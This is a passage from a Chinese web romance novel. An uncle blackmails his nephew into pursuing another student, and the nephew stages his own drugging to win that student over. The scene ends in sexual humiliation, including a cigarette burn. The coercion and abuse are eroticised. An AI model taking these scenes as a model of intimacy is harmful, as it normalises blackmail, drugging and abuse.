朗月现看了他一眼,道:“傻子。” 朗秉白突然笑出声,弯起的眼角盛着窗外漏进来的晨光,透着股释然的劲儿,眼神中依赖又迷恋。 我爱你这件事本来就不求结果。但若真能许个愿,那就是希望有一天,你也会愿意朝我走来。 即使慢一点,也没关系。 第五十章 如果你自己办不到,我会帮你 盛衍拧开门锁时, 玄关的顶灯晃得人眼晕。他走进门厅,看见一个男人端坐在沙发上。 男人看上去并不年轻,却依旧看上去非常有魅力。身形清俊, 顶灯的灯光为男人优越的眉骨镀上层阴影,深灰色的衬衫裹着他精瘦的腰身, 他只是静静地坐在那里,便有一种独属于成熟男人的韵味在身上。 男人正低头慢条斯理地擦拭着眼镜,听到声音也并未抬眼去看,镜片折射的冷光掠过他眼尾细纹,那双浸润着岁月痕迹的眼睛温润淡漠,和盛衍如出一辙。 房间一时静默了下来, 最后还是盛衍先开口:“舅舅。” 唐临晖这时才抬起眼睛看了过去,沙发发出细微的呻吟, 唐临晖换了个压迫感更强的坐姿。 他将眼镜架回鼻梁,往日那副轻快和煦的神色荡然无存,取而代之的是面无表情,淡漠至极的一个眼神。 茶几上有未喝完的白兰地, 烟灰缸里躺着半支未熄灭的雪茄,青烟蛇一样的缠上唐临晖腕上的舍利珠。盛衍好奇的多看了那白兰地两眼,他舅舅向来都是只喝茶的,怎么今天喝上酒了? 男人掀起眼皮的刹那,盛衍恍惚看见镜中二十年后的自己。同样上挑精致的丹凤眼,只不过唐临晖眼尾多了几道藏不住的褶皱,像被岁月烫出的火漆印。 唐临晖毫不客气,连闲话也没说一句:“你和朗月现到什么地步了?” 盛衍今天突然接到了舅舅的电话,让他立刻来自己住处一趟,他还不知道发生了什么。 直到这时听到朗月现的的名字, 盛衍才皱起眉看了过去。 唐临晖下一句话的语气简直是在质问了:“你和他接吻了吗。” 盛衍紧紧攥住了拳头:“我和小月不是那种关系……” “那就是还没有。” 唐临晖突然起身的动作带翻了桌上的白兰地,空气里隐约浮动着橡木焦香。 “你到底在做什么?”他皮鞋尖碾过酒渍,在盛衍肩投下浓重的阴影,“当年你爸跪着求我姐下嫁时,可比你现在识趣多了。” 盛衍猛地后退一步,拉开两人间的距离,他终于看清唐临晖眼底猩红的血丝,那些蛛网般的纹路里缠着再也不掩饰的扭曲欲望。 盛衍的呼吸骤然加重了。 “你父亲这个职位是怎么来的,获得我们唐家多大的助力,你心里也清楚。一个只会吃软饭的废物养出来的小废物,果然不堪大用。” 唐临晖脸上写满了嘲讽,可眼中闪过一层不堪和愤怒。 “我不能光明正大站在他身边。”唐临晖突然神经质地笑了起来,拇指重重擦过下唇:“你也不配。但没办法,你好歹能帮我把他永远留在身边。” “你知道吗,那个叫程澈的家伙吻他了。” 盛衍的手指猛地掐进掌心,瞬间的刺痛沿着神经窜上太阳穴。 程澈……吻了小月?他们俩…怎么会…… 他无可避免的想起,自己每次靠近朗月现时,对方总会不着痕迹地退半步拉开距离。不知道为什么,朗月现似乎从刚见到他就不怎么喜欢他,无论他做出什么努力,少年身上浮动的玫瑰香总会在即将触及指尖的时候消散,像抹永远抓不住的月光。 唐临晖看着盛衍猛地抬起的眼睛,冷哼一声,从喉咙深处挤出冷笑:“所以你到底在做什么,你不会还等着小宝来主动爱上你吧?你这种空有一张皮囊的废物,以为靠这张脸就能让他多看你半眼?” 盛衍后槽牙咬得发酸,上个月家庭聚会的情景突然刺进脑海。他是在那次聚会上才知道原来舅舅和朗月现竟然认识。 母亲当时还笑着打趣着“阿晖的手机屏保怎么是月现的毕业照”,直言他对朗月现的感情可比自己亲外甥深多了,而当时唐临晖摸索着茶盏杯口笑而不语的样子,此时回想起来活像吐信的毒蛇。 唐临晖知道自己和朗月现认识后,时不时就会在手机上问起朗月现的现状,盛衍也只是觉得有些过于频繁了,并没有多想,觉得单纯是长辈对于小辈的关心。没想到唐临晖竟然对朗月现抱有那种荒唐又恶心的心思。 盛衍看着唐临晖瞳孔里扭曲偏执的样子,只觉得恶心至极,转身就想离开,却被唐临晖轻飘飘的一句话定在了原地。 “你想让外公知道,他最看重的外孙爱上了一个男人吗?” 盛衍完全僵在了原地,他没想到唐临晖会疯成这样,竟然敢拿外公来威胁他! 直到骨节分明的手狠狠钳住盛衍下巴,白兰地的醇香混着雪茄的苦味呛进鼻腔。“不要怕,我暂时不会告诉我爸那个老古董的,我也不会和你抢小宝。” “我年纪大了,我知道我求不得,但是我不愿意看到小宝再和其他外面的野狗有任何亲密接触。” 说到这唐临晖想起看见的朗月现和程澈接吻的样子,他顿时脸色变得十分难看,牙关紧咬。唐临晖看着僵硬站在原地的盛衍,心里觉得厌恶却又无计可施。 “你如果自己办不到,我会帮你。” 唐临晖腕间的舍利珠硌得他后颈生疼,盛衍听着他一字一句的警告,每个字都像从齿缝碾出:“所以你少给我摆出那副高高在上的姿态,我不管你要用什么下三滥的方法,要怎么卑微的跪在地上哀求他,总之,小宝一定要是我们唐家的人。” —— 那项面向全国名校举办的大型金融投资模拟交易大赛的最终金奖,毫无疑问被以金融系闻名全国的C大收入囊中,学校准备为金融系“双子星”举办一场庆功宴。 学生会负责组织操办,庆功宴只邀请了校领导,几位客座教授和各位金融系老师,除了学生会成员们还有一些金融系的学生。 庆功宴当天下午,学生会干事们踩着梯子往宴会厅门口挂横幅,红底金字的“恭贺我校代表队勇夺金奖”被穿堂风吹得扑簌簌响。 金融系辅导员抱着保温杯踱过来,伸长脖子看正在调试投影仪的宣传部长:“PPT里要多放点两位同学的比赛花絮,上次他们熬夜做模型那组照片记得放上去。” “您就放心吧,连他们决赛答辩时的视频剪辑都准备好了。”宣传部长晃了晃手里的U盘,忽然压低声音:“不过主任,不是说今天要请电视台来采访?” “嘘!”辅导员突然剧烈咳嗽起来,保温杯盖子在杯口叮当作响,“朗家的少爷接不接受采访还能是我们说了算的吗,你等会切蛋糕的时候记得多拍几张特写,校报还要用……” 此刻被议论的主角正躲在更衣室里不断摩挲手机边缘,有些紧张的一个劲拿起手机看信息。西装袖扣不断被扣上又解开,在寂静的房间中发出清脆的咔嗒声,当他又一次无意识地把袖口扯下来时,门板突然被不轻不重的叩响。 “还没好?”朗月现懒洋洋的声线裹着门缝透进来,“再磨蹭下去,校领导致辞都要结束了。” 程澈手指一颤,袖扣差点被整个扯落,慌忙拉开门。朗月现倚在墙边玩打火机,金属翻盖在他修长指间开合,明明灭灭的火光映得他侧脸忽明忽暗。 程澈注意到他今天把额发梳上去了,露出光洁的额头,西装外套随意搭在臂弯,衬衫领口解开了两颗纽扣。 上次被朗董约着喝茶已经又过了一周,程澈想朗月现想的心尖都发麻。此刻乍一看见,呼吸骤然加重,惶惶然张了张口不知道该说些什么。视线从对方滚动的喉结滑到锁骨凹陷处,又烫着似的飞快移开。 极致的思念不说话也会从眼睛里跑出来,朗月现看了他一眼,唇角勾起微不可察的弧度,走廊顶灯在他睫毛下投下细碎的光影,晃得程澈心跳漏了一拍。 “今、今天不忙吗?” “嗯,抽出些空。”朗月现直起身子,顺手把打火机揣进裤袋,经过程澈身边时突然凑近他颈侧,“换香水了?” 温热气息扫过耳后,程澈瞬间从脊椎麻到指尖,攥着门把的手渗出薄汗。他知道朗月现很喜欢清爽的味道,特地在洗衣服时多用了几遍香皂,还去香水专柜特地试了二十多款,最后选出一款很清爽的淡香水。 柑橘混合红石榴的清爽气息在两人衣料相擦时带起的微风里丝丝缕缕绕在一起。 宴会厅内被装饰的很是温馨舒适,各处还摆满了刚到花期的郁金香。程澈正被系主任拉着跟客座教授寒暄,后颈被空调暖风哄出薄汗。 余光瞥见朗月现靠在甜品台旁用叉子戳蛋糕上的草莓,漫不经心地把草莓尖咬进嘴里,程澈被可爱的心都化了,嘴角不受控制地扬起。 这时突然有一位金融系大三的学姐举着手机凑过去,张扬的酒红色长卷发几乎要扫到朗月现肩头,他笑容一下子收敛了,下意识往那边挪了半步。 教授的问话让他的脚步被迫钉在原地:“小程啊,听说你们决赛用的量化模型……” “啊是的,主要参考了以往商业化市场走向的灵活模型……”程澈强迫自己把视线从朗月现看向学姐的脸上撕下来,喉结动了动,“是阿月……朗同学提出要加入波动率曲面的主要步骤……”背在身后的手无意识揪住西装下摆,攥出深色褶皱。 此起彼伏的快门声里,朗月现应付完面红耳赤的学姐醉翁之意不在酒的案例讨论,面前就投下一个许久未见的高挑身影。 “好久不见。” 盛衍站在朗月现面前,手里握着半杯红酒,顶灯的光晕落在他镜片上,映得眼底情绪晦暗不明。他今天同样穿了很得体的正装,系到最后一颗扣子的领口衬得他下颌线愈发凌厉,唯有攥着杯柄的指节泛着青白。 朗月现看到他也不惊讶,毕竟是学生会主办的庆功宴,副会长在这再正常不过了。 “嗯,好久不见。”他点点头,将叉子上的草莓送进嘴里,清甜汁水在舌尖炸开的瞬间,他想起上次见面还是在酒店房间门口,他的眼镜似乎是被周闻铮打碎了,现在鼻梁上架着的金丝* 眼镜倒是崭新的。 “最近很辛苦吧,我看你提交了续假申请,”盛衍贪婪地盯着他的脸,只觉得这些日子堵在胸口的浊气都被这幅眉眼冲淡些许,“家里的事还很忙吗?” “忙啊,所以还是要麻烦会长尽快给我通过申请。”朗月现调笑般说道,眼尾荡起浅浅笑意,盛衍呼吸一滞,连忙低头盯着杯中晃动的酒液,生怕眼底太过明显的贪婪吓到眼前的人。 “好,我知道。” “话说回来,上次和唐叔聚餐,他提起你是他外甥。”朗月现随手将空叉子放回餐盘,金属碰撞声惊得盛衍肩头微颤:“我还一直不知道呢。” 听到唐临晖的名字,盛衍缓缓攥紧了掌心,疼痛让他勉强维持住表面的冷静,他顿了顿,才勉强露出一个得体的假笑。 “嗯,我也是才知道不久。”喉咙开始发紧,声音都开始变得低沉起来,“小月和我舅舅……竟然是旧相识。” 端着餐盘穿梭的学生会干事不小心撞到盛衍后背,他踉跄半步,腰间突然多出只温热手掌。朗月现反应很快的扶了他一把,就着这个姿势把他往身边带了带,顺手抽走他手里半满的红酒杯。 “小心啊,不要把酒泼到身上了。”朗月现笑着把酒杯放在桌子上,说话间将手收回,抽了张纸巾慢条斯理地擦拭指尖。 盛衍看着他骨节分明的指节在纯白纸巾间翻动,眼睫不由得颤了颤。 盛衍前一秒还在想他为什么要擦手,是不想碰到自己吗,下一秒又突然回忆起方才腰间转瞬即逝的温度,朗月现竟然如此和颜悦色的同自己说话,甚至……甚至还体贴的扶了他。 盛衍的魂都要飞起来了,后腰被触碰过的地方像是被朗月现打上了烙印,隔着衣服都能感觉到皮肤在发烫。 什么唐临晖,什么程澈,什么周闻铮,那些堵在他心口的浊气一瞬间消散出去。 只是因为那一抹对着自己的浅笑,盛衍自己都觉得不可思议,他什么时候变得这么容易满足了? 余光瞥见不远处频频往这边张望的程澈,心里嗤笑一声,抬手将垂落的额发顺到脑后,镜片后的眼睛亮的惊人,嘴角的笑容却是压都压不住,朗月现好脾气的对他笑一笑,他便什么都忘记了。 聊了没几句,朗月现便转身要走,盛衍心念一动,竟大着胆子抓住他的手,骨节硌在掌心的触感让他浑身发烫。 “小月。” 朗月现含笑转身看他,宴会厅的暖光落在他优越的眉骨上,俊得惊人。众目睽睽之下,盛衍也不知道自己要做什么,他紧张的吞咽几下,向来从容优雅的人此刻竟慌乱的张口结舌。 要说些什么来留住他?盛衍现在满脑子都是他那晚将周闻铮踩在脚下的画面,赤裸的脚碾在那人昂扬的东西上,眼底扬起无比旖旎的诱人神色。 疯了,简直是疯了,总不能说能不能求你也这样对我…… 牵着手的时间已经长到有视线时不时的扫过来了,朗月现也有些不耐的稍微皱起了眉头,手上也逐渐有了往外抽的迹象。盛衍一下子更紧张,脸颊都开始发烫,最终还是开口。 “想不想出去透透气……” 朗月现却轻轻拂开他的手,腕表擦过盛衍的指关节。 “不了,我还有事。 ” 盛衍看着那人转身时翻飞的西装后摆,心惶惶地往下坠了坠,他扯了扯领带,似乎想透口气。 他安慰自己朗月现作为今晚的主角,确实不能随着他的性子来,并非故意不愿和他相处。他反复咀嚼这个理由,仿佛这样就能把喉间的苦涩咽下去。 他看着朗月现的背影,心脏像是被什么狠狠攥紧,顷刻间皱成一团,升起一股难言的疼痛。 为什么朗月现每每停在他身上的目光稍作停留就要飞向别处,为什么在朗月现的生命里似乎谁都要比他更重要,随便一件小事就能拉走他在自己身上的注意力,为什么自己连个体面的站在他身边的理由都没有。 为什么每一次都会与他沉默的擦肩而过,绞尽脑汁都换不回他留下片刻。这种永远抓不住朗月现视线的感觉让他觉得异常烦躁,像是个得不到关注的幼童般无措。 心还没静下来,盛衍就看见朗月现走向了程澈,那条欢快的摇着尾巴的金毛迫不及待的迎了过去,一见到朗月现就笑得露出虎牙,哪还有半点平时沉默寡言的样子。朗月现同他低声交谈了几句之后,两人竟然一同走了出去。 盛衍实在无法同他方才反复安慰自己的理由自洽,朗月现口中所谓的有事就是和程澈有关吗? 盛衍想都没想,跟出去的脚步比意识更快,皮鞋踢到消防通道门槛时才发觉自己在做什么。 角落里月光像银纱似的铺了满地,程澈将楼道的窗户关上,转身很自然的牵起了朗月现的手,月光落在他解开了两颗扣子的衬衫领口,锁骨线条随着转身动作若隐若现。 “冷吗?” 那声音刻意放的很温柔,像是对爱人的低语,传到盛衍耳朵里则是不堪入耳的谄媚之声。 他十分反感的冷笑,像那种连出身都没有的垃圾货色,只能靠这种不入流的花招讨得朗月现的欢心,除了会耍这种小手段还会什么。 “还好。” “披一下我的外套吧,外面到底不如室内。” 程澈往前迈了半步,皮鞋尖几乎相碰,利索的将外套脱下披在了朗月现肩上。盛衍看着朗月现整个人都被裹在别人的衣服里,却躲都没躲。 盛衍听到两个人的谈话声,内容没什么要紧的,基本上围绕一些赛事上金融方面的典型案例。但他们之间的交流十分熟稔,显得格外亲密,盛衍就是心里再不屑,心中也难免酸涩。 他非常没有风度的想着程澈简直像一条装模作样只会冲主人谄媚着摇尾巴的流浪狗,一边又无比的嫉妒,恨不得将立刻将那个人换成自己,如果现在是他站在朗月现身边,一定比他做的更好。 “盛衍?他怎么了?” 忽然间,盛衍听到自己的名字突兀的砸进空气里。 “他喜欢你,对不对。” 盛衍整个人僵在原地,后背紧贴冰凉的瓷砖。喉结艰难的混动,耳膜鼓动着剧烈的心跳声,黑暗中他紧张的浑身发颤,却竖起耳朵仔细地害怕落下任何一个字。 “为什么突然说这个?” “我看到他看你的眼神。” “……嗯,或许是吧。” 盛衍的心顿时七上八下,说不出什么滋味。原来他知道,他一直都知道我对他…… “那……阿月是怎么想的?” 程澈小心翼翼的问话传进盛衍的耳朵里。 “这有什么?” 盛衍连呼吸都屏住了。 “随便什么人的喜欢我都要放在心里吗?” 什么叫……随便什么人? 程澈的声音似乎带着低笑,那笑意如同尖刀一般刺进盛衍的耳膜。 “这样啊,我看你刚刚和他聊的很开心,我还以为……” “我熟识的一个长辈认识他,聊了几句而已。” 说罢,朗月现轻声笑了笑,声音渐渐低下去,两人的距离拉近到就像是爱人间的呢喃,他用鞋尖碰了碰对方的。 “…你把我拉到这里来,就是想问这个?” 程澈顿时有些踌躇,藏在背后的手悄悄松开又攥紧,喉结上下滚动,他突然结巴起来,语调也变得有些黏糊。 “还有上次……上次那个吻……” 朗月现的声音带上些调笑:“嗯?怎么,不喜欢?” “喜欢!”程澈急的声音都控制不住的高了一些,耳尖红得快要滴血,却还是大着胆子凑上去。 他今天特地用了朗月现夸过清爽的味道,朗月现果然很吃这一套,伸手拽住他的领带,柑橘与雪松的香气骤然浓烈,将人拉下来时低笑的气息拂过程澈耳畔,狠狠的如他所愿吻了上去。 程澈被迫弯腰的瞬间,后颈被温热掌心扣住,带着草莓味的吻落下来时,他听见自己难以掩饰的愉悦闷哼。 盛衍浑身血液都仿佛凝固了一般,他被钉在黑暗中动弹不得。朗月现每句话,每个动作,都像是锐利到无可比拟的尖刀,在他的心脏内疯狂搅动,痛得他几乎窒息。 那边两人靠在一起做什么不言而喻,衣料摩擦声刺得盛衍太阳穴突突直跳,盛衍只觉得整个心像是被那把刀活生生剜出来一样。 拐角处的窗户并未关上,晚风卷着冰渣在他胸口的大洞上穿过,先前从朗月现那里得到的一点点欢愉,现在已经彻底消散殆尽。 他几乎无法站立,盛衍在这心如刀绞般的痛苦中发现,自己连上前质问的资格都没有。 他沉沉的望着角落里纠缠的身影,垂下了头,像是终于妥协了一般,默默攥紧了西装内袋里的小玻璃瓶。 50-60 第五十一章 我不甘苦求,却不堪回首 C大大礼堂是大学重要会议和院系活动的重要场所, 是C大的标志性建筑之一,位于学校的正北端。 作为早期建筑群的一部分,由于经费限制, 紧邻礼堂西南角位置比较偏僻的教学楼没能像礼堂那样多次翻修,如今墙体斑驳的旧楼已经荒废多年, 最近听说要拆除改建成方便音乐系同学去大礼堂排练的音乐馆。 教学楼年代久远,这座老楼最高也只有六层,顶层的某间教室的窗帘正大敞着。月光穿过积灰的玻璃窗,将漂浮的灰尘照的粒粒分明,四散纷飞。 盛衍抬起头时,被体内翻涌的热浪灼得通红的双眼中, 看到就是背对着月光,坐在窗台上的那抹高挑身影。 朗月现抬头将额发捋到脑后, 对着他露出刻在脑海中的那副懒散笑意。之前周闻铮中药时他也是这么笑的,莹白的脚趾蹭着那人发红的脖颈,手指插进自己汗湿的发间。 月光正透过条条窗框铁条,在朗月现侧脸割出银白裂痕。 盛衍正半蜷缩在霉湿的墙角, 平日里系的妥帖严谨的衬衫纽扣也崩开几颗,露出一片紧绷的胸膛。他撑着手肘艰难起身,听见窗台那边传来打火机擦响,清脆的爆珠声响起后,淡淡的草莓混着薄荷烟的味道混着教室里的霉味钻进鼻腔。 这股熟悉的味道让盛衍回想起他们的初见,朗月现将烟雾吐在他脸上时露出恶劣的美丽笑容。 盛衍艰难地撑起上半身,看见朗月现一条腿随意的垂在窗边,另一条腿支起的膝盖上搭着手肘,火星在他指间明明灭灭。 “这是在哪……” 盛衍哑着嗓子开口,扶着身旁的桌子踉跄站起来。他眼前一阵眩晕, 咬紧牙关才勉强站稳,不由得在心里暗骂唐临晖这个老变态,准备的药效竟然这么强,如果真的是给朗月现喂了下去…… 盛衍攥紧了拳头,他缓了缓神,看向一言不发的朗月现。对方没穿外套,白色的衬衫也从裤腰里抽了出来。 朗月现始终没有接话,依旧保持那个姿势,缕缕的白烟从他的唇边吐出,背对着月光,盛衍看不清他的表情,只能硬着头皮演下去。 盛衍脚踩着满地粉笔灰往门口挪动,他看见朗月现映在门框上的影子稍微动了动。 “打不开。”朗月现没什么情绪的声音裹着薄荷味的雾气从他身后响起,“门锁锈住了,踹不开。” 寂静的连窗外的落叶声都听得到的空间里,乍一听到朗月现的声音,盛衍只觉得一股急促的电流顺着他的尾椎直冲脑髓,体内热浪骤然翻涌,下腹那股无法忽视的滚烫愈演愈烈,他咬紧了嘴唇,还是从齿尖溢出几声呻/吟。 身后突然传来衣料摩擦声,朗月现从窗台上跳了下来。 鞋跟敲在地砖上的声响停在自己咫尺之间,盛衍看见那道身影映在自己面前的门框上,同自己的身影几乎完美重合。 他们俩是这样相配,就连影子都严丝合缝。 按照自己的计划,盛衍现在就该顺着药效,像周闻铮那晚一样“神志不清”地跌进对方怀里。 可冷汗浸透的后背肌肉紧绷,盛衍僵直的站在那一动不动,却怎么也转不过身。 盛衍忽然觉得可笑。他竟然沦落到用最不齿的下作手段乞求垂怜,可当脑海中浮现出其他人同朗月现亲密的画面,嫉妒就像毒蛇在一点点啃噬他的心脏,甚至不愿给他一个痛快。 明明是他与朗月现最相配,无论是家世,长相,爱好,性格。 明明朗月现最该与他走到一起! 可为什么,偏偏,他唯独不肯同自己牵扯上一点关系呢。 他不回头,盯着墙上交融的身影,朗月现就倚着桌边打量着他不受控制发抖的背影,懒洋洋地偏头:“研究出来怎么出去了吗?会长。” “……没有。” 盛衍发颤的声音传来,他转过身,即使没有灯,单单在月光的照亮下,朗月现也清晰的看出这人的脸颊已经烧得通红,眼尾都泛着潮湿的水光。 盛衍扯开领口,往朗月现的身前蹭了半步,喉结滚动两下,手背蹭过发烫的眼尾。 “……小月,我好热……” 没想到朗月现竟然煞有其事地点了点头,“嗯,□□嘛,正常。” 盛衍彻底僵在原地。 朗月现挑着眉,姿态闲散,仿佛完全置身事外的似笑非笑。 盛衍嘴唇阖张了两下,抬眼对上了他意味深长的眼,表情似是有些难以理解的说道:“你说……什么药?” 朗月现盯着盛衍错愕的表情欣赏了几秒,唇角弧度渐深,才悠悠回道:“我收到了一个短信。” 半个小时前,朗月现和程澈回到场馆参加最后的切蛋糕合照仪式时,听到身边有学生会的工作人员窃窃私语,说盛衍会长迟迟没到场。 这不符合盛衍平日里事事规整严谨的做事风格,大家都有些惊讶。最后还是系主任说盛衍可能是有事先回去了,让大家该合照合照。 就在这时,朗月现的手机开始频繁震动,他退到墙柱的阴影后打开手机。 十多张照片里,盛衍蜷缩在某个光线昏暗的角落。照片后还附带着黏腻的恶意:已经给他喂了药,想救他就单独过来。 没等系统吱声,朗月现就已经了然于心:“第四关键节点,原著里我设计的桥段?” “没错,这段说的是宿主您给主角受下药拍艳照,用于将来威胁侮辱他的重要剧情。” “我不能直接报警吗?” “……别吧宿主,你不能用常理去考虑维度世界的剧情走向,世界意识会把锅扣您头上的……” 那边拍完照还在热闹的切蛋糕,程澈也被系主任求着去进行电视台采访,没人注意到角落这边。朗月现“啧”了一声往外走,准备按照手机上的地址找过去。 迈出门时,他突然脚步一顿,抬头看向了天花板上的监控。 “能把刚才所有拍到盛衍的监控影像找出来吗?” 系统点点头:“可以是可以,但是十分钟前的所有监控都被技术摧毁了,恢复需要特殊手段,要花积分吗宿主?” “用。” 监控画面在脑内展开时,朗月现眉梢一挑。 盛衍避开人群走到冷餐台死角,从西装内袋中拿出一个小小的玻璃瓶,将里面的液体全倒进了面前的红酒杯中。 紧接着,将其一饮而尽。 * “所以……”盛衍此刻衣衫凌乱,扣子崩开几颗露出胸膛,不复往常那副斯文得体的贵公子模样,他猛地呛咳起来,药效烧得脊梁骨都在发颤,指甲深深抠住桌角,“我被人下药了?…” 朗月现低声笑了笑,语气玩味:“没错。”他将手揣进裤兜,两指夹出个拇指大小的空玻璃瓶晃了晃,瓶底还黏着褐色药滴。 盛衍瞳孔骤然紧缩,他分明已经将它处理掉了…… 没错,盛衍的确处理的很利落,他这种人做任何事都讲究一个滴水不漏。这个药瓶是朗月现让系统根据视频一比一复刻出来的。 朗月现稍稍弯腰,凑到他耳边,温热的呼吸喷在他滚烫的肌肤上,低声道:“监控毁的倒是比瓶子干净。” 盛衍顿了顿,忽然笑起来。 他猛地扑过去攥住朗月现手腕,朗月现被他扑到教室的铁皮柜子上,重重的撞击声在空旷教室里砸出震耳欲聋的声响。 “那你怎么还来?”药效烧得盛衍嗓子发哑,灼烧的颤音混着喘息喷在朗月现颈侧,“你明明全都知道了…” 朗月现用空闲的那只手挑起他下巴,冰凉的指尖凉丝丝贴在他汗湿的脖颈:“想看你能疯到什么程度。”拇指碾过他咬破的嘴角,“疼吗?” 盛衍浑身战栗得像张绷到极致的弓,他抓住那只手往自己敞开的领口按,后槽牙咬得发酸:“你摸你摸摸这里…”冰凉的触感激得他腰身弓起,“小月,小月……我每天都梦见你…” 朗月现忽然轻笑出声,那只手游鱼似的滑走,却并没有从盛衍身上挪开。 指尖顺着汗湿的脖颈下滑,逗弄一般,若有似无地擦过喉结,掠过剧烈起伏的胸膛,往下慢慢滑动,在紧绷的腰腹处流连,眼看就要往下…… 盛衍喉结艰难滚动,急促的喘息声在寂静中格外清晰,他简直被这要了命的玩弄折磨的几近崩溃,药效混着羞耻感在血管中横冲直撞,膝盖发软几乎要跪下去。 就在他再也绷不住想让朗月现给自己一个痛快时,那只作乱的手突然从他的身上拐了个弯,径直探进朗月现自己的裤带里。 朗月现掏出银质烟盒抽出一支细烟,并把打火机扔向盛衍。 他叼着烟嘴,勾起一个恶劣的笑,挑着眉扬了扬下颌。 他命令道。 “愣着干嘛,给我点烟。” —— 盛衍跪在朗月现的脚边,膝盖骨硌在水泥地上生疼,向来熨贴的西装裤此刻皱巴巴堆在腿弯,他从来没想过自己会在废弃教室的灰尘里,像条发/情的狗似的对着人露出最不堪的模样。 布料顶出羞耻的弧度,他像是被拆了所有的傲骨一般,全然袒露着最屈辱的姿态,任由他坐在桌边对他肆意打量。 盛衍感觉到了一股难言的耻辱,偏偏身体却愈发兴奋,他反而把膝盖分得更开,自虐似的将烧红的脸仰成献祭的弧度,尽力挺直身体,让朗月现看清他此刻不堪的全貌。 他看着朗月现隐在白烟下看不真切的眉眼,被羞耻和欲/望双重灼烧下竟然升起一股隐秘的诡异欢愉。 那人夹着烟的手指微微一动,盛衍竟不受控地战栗起来,那双总是看向别人的眼睛,终于只注视着我一个人了。 我开始……对他产生意义了吗? 盛衍被这个念头烫的浑身发抖,膝行着往前蹭了蹭,昂贵的西装布料现在沾满了废弃教室的飞灰,他握住朗月现垂落的脚踝,手指轻轻摩挲着他突起的骨节。 忽然听见头顶传来轻笑,朗月现俯下身,将烟头按灭在他的锁骨凹陷处。盛衍在灼痛中仰头,看着那张美得惊心的脸缓缓凑近。 那双眼睛此刻眼角弯起愉悦的弧度,像是能勾魂夺魄,一如他们初见,轻而易举就能让盛衍为之心悸。 盛衍从来没有见过这么美的一双眉眼,无论见过他多少次,还是会无数次的为此心动。 他无法自拔。所以他甘愿扑倒在他脚边,用卑微的姿态去乞求这双眼睛能长久的为他停留。 “你想要什么,告诉我,用你的嘴亲口说出来。”冰凉手指钳住他下颌,朗月现似笑非笑的眼睛漾着戏谑的笑意。 这个画面确实取悦到了他。 看惯了装模作样,优雅得体的盛家公子,此刻正颤抖着,脸上挂着泪痕,浑身乱七八糟,卑微的跪在他脚边,朗月现内心突然涌起一股陌生又莫名的强烈□□。 甚至想俯下身去狠狠吻住那张肮脏的脸。 不是出于怜悯,更不是出于疼惜,是想彻底摧毁他精心构筑的所有伪装假象,更原始暴烈的恶欲。 这是完完全全的凌辱欲。 那副痛苦的,脆弱的,受着折磨的样子,实在是太令朗月现愉悦了。 让朗月现想要狠狠地羞辱他,想看所谓的高岭之花更破碎的样子,想听这张永远得体的嘴说出更浪荡不堪的话,要让盛衍亲手把骄傲碾碎成取悦他的粉末。 盛衍就用这幅狼狈又卑微的样子说出了他毕生所求那句话。 “我想要……你说你爱我。” * 盛衍被踹出去之后,仰面躺在地上愣了很久。后脑勺重重磕在地面上的钝痛感还在蔓延,胸口剧烈起伏着呼出白气。 他撑起发麻的手肘慢慢爬起来,摇晃着走到朗月现身前,双臂撑在桌面两侧的力道像是要把桌边捏碎,这个姿势让他的影子完全笼罩住朗月现,却更像他作为永远困不住月亮的牢笼在垂死挣扎。 朗月现脸上的笑意早已消散,他整理袖口的指尖顿了顿,眼神宛如冰层下涌动的暗流,平静而危险。 那句表白心迹的话让朗月现瞬间烦躁起来,他只是想凌辱他,让他挺拔的脊梁在他面前弯折,并不想跟他玩这种恶心的情爱游戏。 “我想听你说爱我。” “朗月现,说你爱我……” “说你爱我!” 盛衍的声线开始发颤,喉头滚动时牵扯着青筋,他越说越急促,越来越焦躁,像是要把藏在血肉里的种子连根拔起。 朗月现终于抬头看了他一眼。 这个眼神让盛衍全身止不住的发抖,分不清是药效发作,还是因为心脏处传来的剧烈疼痛。 盛衍终于忍不住,那些话翻来覆去从唇齿间挤出来,脸涨的通红,嘴唇却惨白得像溺水的人,声音从颤抖变成呜咽,从恳求变成哀求。有温热的液体流进嘴角,分不清时泪是汗。 “哪怕是骗我……” 盛衍对朗月现的爱太过急切,无边无际的汹涌爱意裹着剧痛从心脏处炸开。 胸腔里翻涌的痛楚几乎要撑破肋骨,盛衍突然感觉有团尖锐的烈火自心口直冲天灵盖,他还没来得及感受,眼眶瞬间烧得通红。 喉咙像被一道紧绷的弓弦绞住越收越紧,痛得他喘不上气,眼睛死死盯着那张淡漠的脸,终于尝到了喉头翻上来的血腥味。 是恨。 盛衍终于尝出堵在胸口的情绪是什么滋味。 好恨啊。 怎么会这么恨? 明明爱到骨头都疼,明明他什么都没有做,为什么会这么恨?疼痛反而让混沌的思绪清晰起来。 对啊……你为什么,什么都不做? 盛衍心都碎了。 他咀嚼这这股痛意,像钝刀子割着他的血肉。恨他不给回应,恨他的无动于衷,恨他永远置身事外,恨他连一丝爱意都不愿意施舍给他。 恨你不爱我,恨你的眼里永远没有我。 盛衍注视着这个此刻被自己困在怀里的人,固执地望进那双眼睛里,拼命想从中发现半分动容,哪怕是对他这幅狼狈模样的厌恶。 可是没有,什么都没有,只有无动于衷的冷漠。 如果今天站在这里的是周闻铮,是程澈,你还会这样冷眼旁观吗?这个念头突然窜出来,在心口最柔软的地方狠狠剜了一刀。 盛衍在心底哀鸣,自己二十几年来的所有骄傲都在碰到朗月现时被他狠狠摔碎。 小月,小月。 求你了,看我一眼吧,我就要痛死了。 为什么偏偏我是你眼里最无关紧要的那一个? 我从来都只想要你……能像看别人那样,看我一眼啊。 “凭什么选他不选我?”盛衍突然发狠咬住他肩膀,犬齿隔着衬衫料子陷入皮肉,他抖着嗓子仿佛气极了:“为什么偏偏不能是我!” 朗月现突然狠狠揪起他的头发,将其整个人用力撇到一边。盛衍使不上劲,额头重重磕在旁边的桌角上。他听见朗月现整理腕表的声音,金属表链哗啦作响,那人已经走到门边。 “衣服穿好,去医院。”朗月现掏出手帕慢条斯理擦着手指,“你演得太过了。” 第五十二章 祝贺你,得偿所愿 宋煜屏住呼吸缩在生锈的铁门后, 手机镜头穿过教室门上窄小的玻璃窗。汗水顺着后颈滑进领口,他能听见自己剧烈的心跳声甚至盖过了屋内的谈话声。 月光从破窗斜斜切进来,照得盛衍跪在地板上的影子支离破碎。他的衣服领口歪斜着, 平日精心打理的发丝散下几绺湿发贴在脸侧,整个人狼狈不堪的跪在那个高高在上的人面前。 潮湿的霉味从墙角剥落的墙纸里渗出来, 